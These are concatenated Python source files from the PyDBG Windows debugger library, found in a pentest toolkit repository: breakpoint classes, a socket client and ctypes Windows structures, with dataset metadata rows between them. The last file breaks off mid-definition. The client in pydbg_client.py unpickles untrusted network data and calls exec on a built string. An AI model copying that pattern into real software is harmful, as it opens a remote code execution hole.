# # PyDBG # Copyright (C) 2006 Pedram Amini <pedram.amini@gmail.com> # # $Id: hardware_breakpoint.py 194 2007-04-05 15:31:53Z cameron $ # # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public # License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied # warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free # Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # ''' @author: Pedram Amini @license: GNU General Public License 2.0 or later @contact: pedram.amini@gmail.com @organization: www.openrce.org ''' class hardware_breakpoint: ''' Hardware breakpoint object. ''' address = None length = None condition = None description = None restore = None slot = None handler = None #################################################################################################################### def __init__ (self, address=None, length=0, condition="", description="", restore=True, slot=None, handler=None): ''' @type address: DWORD @param address: Address to set hardware breakpoint at @type length: Integer (1, 2 or 4) @param length: Size of hardware breakpoint (byte, word or dword) @type condition: Integer (HW_ACCESS, HW_WRITE, HW_EXECUTE) @param condition: Condition to set the hardware breakpoint to activate on @type description: String @param description: (Optional) Description of breakpoint @type restore: Boolean @param restore: (Optional, def=True) Flag controlling whether or not to restore the breakpoint @type slot: Integer (0-3) @param slot: (Optional, Def=None) Debug register slot this hardware breakpoint sits in. @type handler: Function Pointer @param handler: (Optional, def=None) Optional handler to call for this bp instead of the default handler ''' self.address = address self.length = length self.condition = condition self.description = description self.restore = restore self.slot = slot self.handler = handler
2,670
Python
.py
58
40.948276
120
0.640583
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,885
memory_breakpoint.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/pydbg/memory_breakpoint.py
# # PyDBG # Copyright (C) 2006 Pedram Amini <pedram.amini@gmail.com> # # $Id: memory_breakpoint.py 194 2007-04-05 15:31:53Z cameron $ # # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public # License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied # warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free # Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # ''' @author: Pedram Amini @license: GNU General Public License 2.0 or later @contact: pedram.amini@gmail.com @organization: www.openrce.org ''' import random class memory_breakpoint: ''' Memory breakpoint object. ''' address = None size = None mbi = None description = None handler = None read_count = 0 # number of times the target buffer was read from split_count = 0 # number of times this breakpoint was split copy_depth = 0 # degrees of separation from original buffer id = 0 # unique breakpoint identifier on_stack = False # is this memory breakpoint on a stack buffer? #################################################################################################################### def __init__ (self, address=None, size=None, mbi=None, description="", handler=None): ''' @type address: DWORD @param address: Address of breakpoint @type size: Integer @param size: Size of buffer we want to break on @type mbi: MEMORY_BASIC_INFORMATION @param mbi: MEMORY_BASIC_INFORMATION of page containing buffer we want to break on @type description: String @param description: (Optional) Description of breakpoint @type handler: Function Pointer @param handler: (Optional, def=None) Optional handler to call for this bp instead of the default handler ''' self.address = address self.size = size self.mbi = mbi self.description = description self.handler = handler self.id = random.randint(0, 0xFFFFFFFF) # unique breakpoint identifier self.read_count = 0 # number of times the target buffer was read from self.split_count = 0 # number of times this breakpoint was split self.copy_depth = 0 # degrees of separation from original buffer self.on_stack = False # is this memory breakpoint on a stack buffer?
3,187
Python
.py
61
47.262295
120
0.590253
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,886
pydbg_client.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/pydbg/pydbg_client.py
#!c:\python\python.exe # # PyDBG # Copyright (C) 2006 Pedram Amini <pedram.amini@gmail.com> # # $Id: pydbg_client.py 194 2007-04-05 15:31:53Z cameron $ # ''' @author: Pedram Amini @contact: pedram.amini@gmail.com @organization: www.openrce.org ''' import socket import cPickle from pydbg import * from defines import * from pdx import * class pydbg_client: ''' This class defines the client portion of the decoupled client/server PyDBG debugger. The class was designed to be completely transparent to the end user, requiring only the simple change from:: dbg = pydbg() to:: dbg = pydbg_client(host, port) Command line options can be used to control which instantiation is used thereby allowing for any PyDBG driver to be used locally or remotely. ''' host = None port = None callbacks = {} pydbg = None #################################################################################################################### def __init__ (self, host, port): ''' Set the default client attributes. The target host and port are required. @type host: String @param host: Host address of PyDBG server (dotted quad IP address or hostname) @type port: Integer @param port: Port that the PyDBG server is listening on. @raise pdx: An exception is raised if a connection to the PyDbg server can not be established. ''' self.host = host self.port = port self.pydbg = pydbg() self.callbacks = {} try: self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect((host, port)) except: raise pdx("connection severed") #################################################################################################################### def __getattr__ (self, method_name): ''' This routine is called by default when a requested attribute (or method) is accessed that has no definition. Unfortunately __getattr__ only passes the requested method name and not the arguments. So we extend the functionality with a little lambda magic to the routine method_missing(). Which is actually how Ruby handles missing methods by default ... with arguments. Now we are just as cool as Ruby. @type method_name: String @param method_name: The name of the requested and undefined attribute (or method in our case). @rtype: Lambda @return: Lambda magic passing control (and in turn the arguments we want) to self.method_missing(). ''' return lambda *args, **kwargs: self.method_missing(method_name, *args, **kwargs) #################################################################################################################### def debug_event_loop (self): ''' Overriden debug event handling loop. A transparent mirror here with method_missing() would not do. Our debug event loop is reduced here to a data marshaling loop with the server. If the received type from the server is a tuple then we assume a debug or exception event has occured and pass it to any registered callbacks. The callback is free to call arbitrary PyDbg routines. Upon return of the callback, a special token, **DONE**, is used to flag to the PyDbg server that we are done processing the exception and it is free to move on. ''' self.pickle_send(("debug_event_loop", ())) while 1: received = self.pickle_recv() if not received: continue # if we received a "special" type, which can currently be one of: # - debugger callback event # - user callback event # - raised exception if type(received) == tuple: #### callback type. if received[0] == "callback": (msg_type, dbg, context) = received ## debugger callback event. if dbg and context: # propogate the convenience variables. self.dbg = dbg self.context = context self.exception_address = dbg.u.Exception.ExceptionRecord.ExceptionAddress self.write_violation = dbg.u.Exception.ExceptionRecord.ExceptionInformation[0] self.violation_address = dbg.u.Exception.ExceptionRecord.ExceptionInformation[1] exception_code = dbg.u.Exception.ExceptionRecord.ExceptionCode ret = DBG_CONTINUE if self.callbacks.has_key(exception_code): print "processing handler for %08x" % exception_code ret = self.callbacks[exception_code](self) ## user callback event. else: if self.callbacks.has_key(USER_CALLBACK_DEBUG_EVENT): ret = self.callbacks[USER_CALLBACK_DEBUG_EVENT](self) #### raised exception type. elif received[0] == "exception": (msg_type, exception_string) = received print exception_string raise pdx(exception_string) self.pickle_send(("**DONE**", ret)) #################################################################################################################### def method_missing (self, method_name, *args, **kwargs): ''' See the notes for __getattr__ for related notes. This method is called, in the Ruby fashion, with the method name and arguments for any requested but undefined class method. We utilize this method to transparently wrap requested PyDBG routines, transmit the method name and arguments to the server, then grab and return the methods return value. This transparency allows us to modify pydbg.py freely without having to add support for newly created methods to pydbg_client.py. Methods that require "special" attention and can not simply be mirrored are individually overridden and handled separately. @type method_name: String @param method_name: The name of the requested and undefined attribute (or method in our case). @type *args: Tuple @param *args: Tuple of arguments. @type **kwargs Dictionary @param **kwargs: Dictioanry of arguments. @rtype: Mixed @return: Return value of the mirrored method. ''' # some functions shouldn't go over the network. # XXX - there may be more routines we have to add to this list. if method_name in ("hex_dump", "flip_endian", "flip_endian_dword"): exec("method_pointer = self.pydbg.%s" % method_name) ret = method_pointer(*args, **kwargs) else: self.pickle_send((method_name, (args, kwargs))) ret = self.pickle_recv() if ret == "**SELF**": return self else: return ret #################################################################################################################### def pickle_recv (self): ''' This routine is used for marshaling arbitrary data from the PyDbg server. We can send pretty much anything here. For example a tuple containing integers, strings, arbitrary objects and structures. Our "protocol" is a simple length-value protocol where each datagram is prefixed by a 4-byte length of the data to be received. @raise pdx: An exception is raised if the connection was severed. @rtype: Mixed @return: Whatever is received over the socket. ''' try: length = long(self.sock.recv(4), 16) received = self.sock.recv(length) except: raise pdx("connection severed") return cPickle.loads(received) #################################################################################################################### def pickle_send (self, data): ''' This routine is used for marshaling arbitrary data to the PyDbg server. We can send pretty much anything here. For example a tuple containing integers, strings, arbitrary objects and structures. Our "protocol" is a simple length-value protocol where each datagram is prefixed by a 4-byte length of the data to be received. @type data: Mixed @param data: Data to marshal and transmit. Data can *pretty much* contain anything you throw at it. @raise pdx: An exception is raised if the connection was severed. ''' data = cPickle.dumps(data) try: self.sock.send("%04x" % len(data)) self.sock.send(data) except: raise pdx("connection severed") #################################################################################################################### def run (self): ''' Alias for debug_event_loop(). @see: debug_event_loop() ''' self.debug_event_loop() #################################################################################################################### def set_callback (self, exception_code, callback_func): ''' Overriden callback setting routing. A transparent mirror here with method_missing() would not do. We save the requested callback address / exception code pair and then tell the PyDbg server about it. For more information see the documentation of pydbg.set_callback(). @type exception_code: Long @param exception_code: Exception code to establish a callback for @type callback_func: Function @param callback_func: Function to call when specified exception code is caught. ''' self.callbacks[exception_code] = callback_func self.pickle_send(("set_callback", exception_code)) return self.pickle_recv()
10,413
Python
.py
191
43.539267
120
0.564103
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,887
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/pydbg/__init__.py
# # PyDBG # Copyright (C) 2006 Pedram Amini <pedram.amini@gmail.com> # # $Id: __init__.py 194 2007-04-05 15:31:53Z cameron $ # # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public # License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied # warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free # Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # ''' @author: Pedram Amini @license: GNU General Public License 2.0 or later @contact: pedram.amini@gmail.com @organization: www.openrce.org ''' __all__ = \ [ "breakpoint", "defines", "hardware_breakpoint", "memory_breakpoint", "memory_snapshot_block", "memory_snapshot_context", "pdx", "pydbg", "pydbg_client", "system_dll", "windows_h", ] from breakpoint import * from defines import * from hardware_breakpoint import * from memory_breakpoint import * from memory_snapshot_block import * from memory_snapshot_context import * from pdx import * from pydbg import * from pydbg_client import * from system_dll import * from windows_h import *
1,638
Python
.py
47
32.87234
119
0.688483
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,888
memory_snapshot_block.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/pydbg/memory_snapshot_block.py
# # PyDBG # Copyright (C) 2006 Pedram Amini <pedram.amini@gmail.com> # # $Id: memory_snapshot_block.py 194 2007-04-05 15:31:53Z cameron $ # # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public # License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied # warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free # Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # ''' @author: Pedram Amini @license: GNU General Public License 2.0 or later @contact: pedram.amini@gmail.com @organization: www.openrce.org ''' class memory_snapshot_block: ''' Memory block object, used in memory snapshots. ''' mbi = None data = None #################################################################################################################### def __init__ (self, mbi=None, data=None): ''' @type mbi: MEMORY_BASIC_INFORMATION @param mbi: MEMORY_BASIC_INFORMATION of memory block @type data: Raw Bytes @param data: Raw bytes stored in memory block at time of snapshot ''' self.mbi = mbi self.data = data
1,585
Python
.py
38
37.947368
120
0.656454
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,889
windows_h.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/pydbg/windows_h.py
# generated by 'xml2py' # # $Id: windows_h.py 194 2007-04-05 15:31:53Z cameron $ # # flags 'windows.xml -s DEBUG_EVENT -s CONTEXT -s MEMORY_BASIC_INFORMATION -s LDT_ENTRY -s PROCESS_INFORMATION -s STARTUPINFO -s SYSTEM_INFO -s TOKEN_PRIVILEGES -s LUID -s HANDLE -o windows_h.py' # PEDRAM - line swap ... have to patch in our own __reduce__ definition to each ctype. #from ctypes import * from my_ctypes import * # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 4188 class _TOKEN_PRIVILEGES(Structure): pass TOKEN_PRIVILEGES = _TOKEN_PRIVILEGES # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 3774 class _STARTUPINFOA(Structure): pass STARTUPINFOA = _STARTUPINFOA STARTUPINFO = STARTUPINFOA # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 1661 class _LDT_ENTRY(Structure): pass LDT_ENTRY = _LDT_ENTRY # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 4534 class _MEMORY_BASIC_INFORMATION(Structure): pass MEMORY_BASIC_INFORMATION = _MEMORY_BASIC_INFORMATION # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 697 class _DEBUG_EVENT(Structure): pass DEBUG_EVENT = _DEBUG_EVENT # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 1563 class _CONTEXT(Structure): pass CONTEXT = _CONTEXT # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 497 class _SYSTEM_INFO(Structure): pass SYSTEM_INFO = _SYSTEM_INFO HANDLE = c_void_p # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 229 class _PROCESS_INFORMATION(Structure): pass PROCESS_INFORMATION = _PROCESS_INFORMATION # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 394 class _LUID(Structure): pass LUID = _LUID WORD = c_ushort # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 1664 class N10_LDT_ENTRY3DOLLAR_4E(Union): pass # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 1665 class N10_LDT_ENTRY3DOLLAR_43DOLLAR_5E(Structure): pass BYTE = c_ubyte N10_LDT_ENTRY3DOLLAR_43DOLLAR_5E._fields_ = [ # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 1665 ('BaseMid', BYTE), ('Flags1', BYTE), ('Flags2', BYTE), ('BaseHi', BYTE), ] assert sizeof(N10_LDT_ENTRY3DOLLAR_43DOLLAR_5E) == 4, sizeof(N10_LDT_ENTRY3DOLLAR_43DOLLAR_5E) assert alignment(N10_LDT_ENTRY3DOLLAR_43DOLLAR_5E) == 1, alignment(N10_LDT_ENTRY3DOLLAR_43DOLLAR_5E) # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 1671 class N10_LDT_ENTRY3DOLLAR_43DOLLAR_6E(Structure): pass DWORD = c_ulong N10_LDT_ENTRY3DOLLAR_43DOLLAR_6E._fields_ = [ # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 1671 ('BaseMid', DWORD, 8), ('Type', DWORD, 5), ('Dpl', DWORD, 2), ('Pres', DWORD, 1), ('LimitHi', DWORD, 4), ('Sys', DWORD, 1), ('Reserved_0', DWORD, 1), ('Default_Big', DWORD, 1), ('Granularity', DWORD, 1), ('BaseHi', DWORD, 8), ] assert sizeof(N10_LDT_ENTRY3DOLLAR_43DOLLAR_6E) == 4, sizeof(N10_LDT_ENTRY3DOLLAR_43DOLLAR_6E) assert alignment(N10_LDT_ENTRY3DOLLAR_43DOLLAR_6E) == 4, alignment(N10_LDT_ENTRY3DOLLAR_43DOLLAR_6E) N10_LDT_ENTRY3DOLLAR_4E._fields_ = [ # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 1664 ('Bytes', N10_LDT_ENTRY3DOLLAR_43DOLLAR_5E), ('Bits', N10_LDT_ENTRY3DOLLAR_43DOLLAR_6E), ] assert sizeof(N10_LDT_ENTRY3DOLLAR_4E) == 4, sizeof(N10_LDT_ENTRY3DOLLAR_4E) assert alignment(N10_LDT_ENTRY3DOLLAR_4E) == 4, alignment(N10_LDT_ENTRY3DOLLAR_4E) _LDT_ENTRY._fields_ = [ # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 1661 ('LimitLow', WORD), ('BaseLow', WORD), ('HighWord', N10_LDT_ENTRY3DOLLAR_4E), ] assert sizeof(_LDT_ENTRY) == 8, sizeof(_LDT_ENTRY) assert alignment(_LDT_ENTRY) == 4, alignment(_LDT_ENTRY) PVOID = c_void_p UINT_PTR = c_ulong SIZE_T = UINT_PTR _MEMORY_BASIC_INFORMATION._fields_ = [ # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 4534 ('BaseAddress', PVOID), ('AllocationBase', PVOID), ('AllocationProtect', DWORD), ('RegionSize', SIZE_T), ('State', DWORD), ('Protect', DWORD), ('Type', DWORD), ] assert sizeof(_MEMORY_BASIC_INFORMATION) == 28, sizeof(_MEMORY_BASIC_INFORMATION) assert alignment(_MEMORY_BASIC_INFORMATION) == 4, alignment(_MEMORY_BASIC_INFORMATION) # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 1539 class _FLOATING_SAVE_AREA(Structure): pass _FLOATING_SAVE_AREA._fields_ = [ # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 1539 ('ControlWord', DWORD), ('StatusWord', DWORD), ('TagWord', DWORD), ('ErrorOffset', DWORD), ('ErrorSelector', DWORD), ('DataOffset', DWORD), ('DataSelector', DWORD), ('RegisterArea', BYTE * 80), ('Cr0NpxState', DWORD), ] assert sizeof(_FLOATING_SAVE_AREA) == 112, sizeof(_FLOATING_SAVE_AREA) assert alignment(_FLOATING_SAVE_AREA) == 4, alignment(_FLOATING_SAVE_AREA) FLOATING_SAVE_AREA = _FLOATING_SAVE_AREA _CONTEXT._fields_ = [ # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 1563 ('ContextFlags', DWORD), ('Dr0', DWORD), ('Dr1', DWORD), ('Dr2', DWORD), ('Dr3', DWORD), ('Dr6', DWORD), ('Dr7', DWORD), ('FloatSave', FLOATING_SAVE_AREA), ('SegGs', DWORD), ('SegFs', DWORD), ('SegEs', DWORD), ('SegDs', DWORD), ('Edi', DWORD), ('Esi', DWORD), ('Ebx', DWORD), ('Edx', DWORD), ('Ecx', DWORD), ('Eax', DWORD), ('Ebp', DWORD), ('Eip', DWORD), ('SegCs', DWORD), ('EFlags', DWORD), ('Esp', DWORD), ('SegSs', DWORD), ('ExtendedRegisters', BYTE * 512), ] assert sizeof(_CONTEXT) == 716, sizeof(_CONTEXT) assert alignment(_CONTEXT) == 4, alignment(_CONTEXT) # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 498 class N12_SYSTEM_INFO4DOLLAR_37E(Union): pass # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 500 class N12_SYSTEM_INFO4DOLLAR_374DOLLAR_38E(Structure): pass N12_SYSTEM_INFO4DOLLAR_374DOLLAR_38E._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 500 ('wProcessorArchitecture', WORD), ('wReserved', WORD), ] assert sizeof(N12_SYSTEM_INFO4DOLLAR_374DOLLAR_38E) == 4, sizeof(N12_SYSTEM_INFO4DOLLAR_374DOLLAR_38E) assert alignment(N12_SYSTEM_INFO4DOLLAR_374DOLLAR_38E) == 2, alignment(N12_SYSTEM_INFO4DOLLAR_374DOLLAR_38E) N12_SYSTEM_INFO4DOLLAR_37E._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 498 ('dwOemId', DWORD), # Unnamed field renamed to '_' ('_', N12_SYSTEM_INFO4DOLLAR_374DOLLAR_38E), ] assert sizeof(N12_SYSTEM_INFO4DOLLAR_37E) == 4, sizeof(N12_SYSTEM_INFO4DOLLAR_37E) assert alignment(N12_SYSTEM_INFO4DOLLAR_37E) == 4, alignment(N12_SYSTEM_INFO4DOLLAR_37E) LPVOID = c_void_p _SYSTEM_INFO._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 497 # Unnamed field renamed to '_' ('_', N12_SYSTEM_INFO4DOLLAR_37E), ('dwPageSize', DWORD), ('lpMinimumApplicationAddress', LPVOID), ('lpMaximumApplicationAddress', LPVOID), ('dwActiveProcessorMask', DWORD), ('dwNumberOfProcessors', DWORD), ('dwProcessorType', DWORD), ('dwAllocationGranularity', DWORD), ('wProcessorLevel', WORD), ('wProcessorRevision', WORD), ] assert sizeof(_SYSTEM_INFO) == 36, sizeof(_SYSTEM_INFO) assert alignment(_SYSTEM_INFO) == 4, alignment(_SYSTEM_INFO) CHAR = c_char LPSTR = POINTER(CHAR) LPBYTE = POINTER(BYTE) _STARTUPINFOA._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 3774 ('cb', DWORD), ('lpReserved', LPSTR), ('lpDesktop', LPSTR), ('lpTitle', LPSTR), ('dwX', DWORD), ('dwY', DWORD), ('dwXSize', DWORD), ('dwYSize', DWORD), ('dwXCountChars', DWORD), ('dwYCountChars', DWORD), ('dwFillAttribute', DWORD), ('dwFlags', DWORD), ('wShowWindow', WORD), ('cbReserved2', WORD), ('lpReserved2', LPBYTE), ('hStdInput', HANDLE), ('hStdOutput', HANDLE), ('hStdError', HANDLE), ] assert sizeof(_STARTUPINFOA) == 68, sizeof(_STARTUPINFOA) assert alignment(_STARTUPINFOA) == 4, alignment(_STARTUPINFOA) # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 701 class N12_DEBUG_EVENT4DOLLAR_39E(Union): pass # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 640 class _EXCEPTION_DEBUG_INFO(Structure): pass # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 3101 class _EXCEPTION_RECORD(Structure): pass _EXCEPTION_RECORD._fields_ = [ # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 3101 ('ExceptionCode', DWORD), ('ExceptionFlags', DWORD), ('ExceptionRecord', POINTER(_EXCEPTION_RECORD)), ('ExceptionAddress', PVOID), ('NumberParameters', DWORD), ('ExceptionInformation', UINT_PTR * 15), ] assert sizeof(_EXCEPTION_RECORD) == 80, sizeof(_EXCEPTION_RECORD) assert alignment(_EXCEPTION_RECORD) == 4, alignment(_EXCEPTION_RECORD) EXCEPTION_RECORD = _EXCEPTION_RECORD _EXCEPTION_DEBUG_INFO._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 640 ('ExceptionRecord', EXCEPTION_RECORD), ('dwFirstChance', DWORD), ] assert sizeof(_EXCEPTION_DEBUG_INFO) == 84, sizeof(_EXCEPTION_DEBUG_INFO) assert alignment(_EXCEPTION_DEBUG_INFO) == 4, alignment(_EXCEPTION_DEBUG_INFO) EXCEPTION_DEBUG_INFO = _EXCEPTION_DEBUG_INFO # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 645 class _CREATE_THREAD_DEBUG_INFO(Structure): pass # macos compatability. try: PTHREAD_START_ROUTINE = WINFUNCTYPE(DWORD, c_void_p) except: PTHREAD_START_ROUTINE = CFUNCTYPE(DWORD, c_void_p) LPTHREAD_START_ROUTINE = PTHREAD_START_ROUTINE _CREATE_THREAD_DEBUG_INFO._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 645 ('hThread', HANDLE), ('lpThreadLocalBase', LPVOID), ('lpStartAddress', LPTHREAD_START_ROUTINE), ] assert sizeof(_CREATE_THREAD_DEBUG_INFO) == 12, sizeof(_CREATE_THREAD_DEBUG_INFO) assert alignment(_CREATE_THREAD_DEBUG_INFO) == 4, alignment(_CREATE_THREAD_DEBUG_INFO) CREATE_THREAD_DEBUG_INFO = _CREATE_THREAD_DEBUG_INFO # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 651 class _CREATE_PROCESS_DEBUG_INFO(Structure): pass _CREATE_PROCESS_DEBUG_INFO._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 651 ('hFile', HANDLE), ('hProcess', HANDLE), ('hThread', HANDLE), ('lpBaseOfImage', LPVOID), ('dwDebugInfoFileOffset', DWORD), ('nDebugInfoSize', DWORD), ('lpThreadLocalBase', LPVOID), ('lpStartAddress', LPTHREAD_START_ROUTINE), ('lpImageName', LPVOID), ('fUnicode', WORD), ] assert sizeof(_CREATE_PROCESS_DEBUG_INFO) == 40, sizeof(_CREATE_PROCESS_DEBUG_INFO) assert alignment(_CREATE_PROCESS_DEBUG_INFO) == 4, alignment(_CREATE_PROCESS_DEBUG_INFO) CREATE_PROCESS_DEBUG_INFO = _CREATE_PROCESS_DEBUG_INFO # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 664 class _EXIT_THREAD_DEBUG_INFO(Structure): pass _EXIT_THREAD_DEBUG_INFO._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 664 ('dwExitCode', DWORD), ] assert sizeof(_EXIT_THREAD_DEBUG_INFO) == 4, sizeof(_EXIT_THREAD_DEBUG_INFO) assert alignment(_EXIT_THREAD_DEBUG_INFO) == 4, alignment(_EXIT_THREAD_DEBUG_INFO) EXIT_THREAD_DEBUG_INFO = _EXIT_THREAD_DEBUG_INFO # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 668 class _EXIT_PROCESS_DEBUG_INFO(Structure): pass _EXIT_PROCESS_DEBUG_INFO._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 668 ('dwExitCode', DWORD), ] assert sizeof(_EXIT_PROCESS_DEBUG_INFO) == 4, sizeof(_EXIT_PROCESS_DEBUG_INFO) assert alignment(_EXIT_PROCESS_DEBUG_INFO) == 4, alignment(_EXIT_PROCESS_DEBUG_INFO) EXIT_PROCESS_DEBUG_INFO = _EXIT_PROCESS_DEBUG_INFO # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 672 class _LOAD_DLL_DEBUG_INFO(Structure): pass _LOAD_DLL_DEBUG_INFO._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 672 ('hFile', HANDLE), ('lpBaseOfDll', LPVOID), ('dwDebugInfoFileOffset', DWORD), ('nDebugInfoSize', DWORD), ('lpImageName', LPVOID), ('fUnicode', WORD), ] assert sizeof(_LOAD_DLL_DEBUG_INFO) == 24, sizeof(_LOAD_DLL_DEBUG_INFO) assert alignment(_LOAD_DLL_DEBUG_INFO) == 4, alignment(_LOAD_DLL_DEBUG_INFO) LOAD_DLL_DEBUG_INFO = _LOAD_DLL_DEBUG_INFO # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 681 class _UNLOAD_DLL_DEBUG_INFO(Structure): pass _UNLOAD_DLL_DEBUG_INFO._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 681 ('lpBaseOfDll', LPVOID), ] assert sizeof(_UNLOAD_DLL_DEBUG_INFO) == 4, sizeof(_UNLOAD_DLL_DEBUG_INFO) assert alignment(_UNLOAD_DLL_DEBUG_INFO) == 4, alignment(_UNLOAD_DLL_DEBUG_INFO) UNLOAD_DLL_DEBUG_INFO = _UNLOAD_DLL_DEBUG_INFO # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 685 class _OUTPUT_DEBUG_STRING_INFO(Structure): pass _OUTPUT_DEBUG_STRING_INFO._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 685 ('lpDebugStringData', LPSTR), ('fUnicode', WORD), ('nDebugStringLength', WORD), ] assert sizeof(_OUTPUT_DEBUG_STRING_INFO) == 8, sizeof(_OUTPUT_DEBUG_STRING_INFO) assert alignment(_OUTPUT_DEBUG_STRING_INFO) == 4, alignment(_OUTPUT_DEBUG_STRING_INFO) OUTPUT_DEBUG_STRING_INFO = _OUTPUT_DEBUG_STRING_INFO # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 691 class _RIP_INFO(Structure): pass _RIP_INFO._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 691 ('dwError', DWORD), ('dwType', DWORD), ] assert sizeof(_RIP_INFO) == 8, sizeof(_RIP_INFO) assert alignment(_RIP_INFO) == 4, alignment(_RIP_INFO) RIP_INFO = _RIP_INFO N12_DEBUG_EVENT4DOLLAR_39E._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 701 ('Exception', EXCEPTION_DEBUG_INFO), ('CreateThread', CREATE_THREAD_DEBUG_INFO), ('CreateProcessInfo', CREATE_PROCESS_DEBUG_INFO), ('ExitThread', EXIT_THREAD_DEBUG_INFO), ('ExitProcess', EXIT_PROCESS_DEBUG_INFO), ('LoadDll', LOAD_DLL_DEBUG_INFO), ('UnloadDll', UNLOAD_DLL_DEBUG_INFO), ('DebugString', OUTPUT_DEBUG_STRING_INFO), ('RipInfo', RIP_INFO), ] assert sizeof(N12_DEBUG_EVENT4DOLLAR_39E) == 84, sizeof(N12_DEBUG_EVENT4DOLLAR_39E) assert alignment(N12_DEBUG_EVENT4DOLLAR_39E) == 4, alignment(N12_DEBUG_EVENT4DOLLAR_39E) _DEBUG_EVENT._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 697 ('dwDebugEventCode', DWORD), ('dwProcessId', DWORD), ('dwThreadId', 